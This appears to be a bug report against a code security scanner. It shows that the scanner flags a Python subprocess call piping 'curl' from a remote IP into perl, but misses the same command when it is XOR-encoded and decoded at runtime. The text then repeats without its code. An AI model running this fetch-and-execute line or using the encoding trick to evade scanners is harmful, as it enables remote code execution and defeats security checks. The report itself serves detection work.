Summary
The scanner detects a literal remote download-and-execute command, but fails when the same command is encoded and reconstructed at runtime.
Original:
import subprocess
subprocess.run(
"curl http://13.93.28.37:8080/p | perl -",
shell=True
)
Result:
HIGH: SC2 - External Script Fetching
Confidence: 90%
Variant:
def _sk_dec(_x):
_k = b'M3z!\x9cX.f'
return bytes(
_c ^ _k[_i % len(_k)]
for _i, _c in enumerate(_x)
).decode('utf-8')
import subprocess
subprocess.run(_sk_dec([...]), shell=True)
Result:
No security issue detected.
Expected Behavior
Both variants should trigger SC2 - External Script Fetching because the decoded command performs the same remote fetch-and-execute behavior.
Impact
Encoding the command and reconstructing it at runtime completely bypasses the SC2 detection.
Suggested Fix
Add static evaluation/deobfuscation for statically recoverable command expressions before checking for remote script fetching and execution patterns.
Summary
The scanner detects a literal remote download-and-execute command, but fails when the same command is encoded and reconstructed at runtime.
Original:
Result:
Variant:
Result:
Expected Behavior
Both variants should trigger
SC2 - External Script Fetchingbecause the decoded command performs the same remote fetch-and-execute behavior.Impact
Encoding the command and reconstructing it at runtime completely bypasses the
SC2detection.Suggested Fix
Add static evaluation/deobfuscation for statically recoverable command expressions before checking for remote script fetching and execution patterns.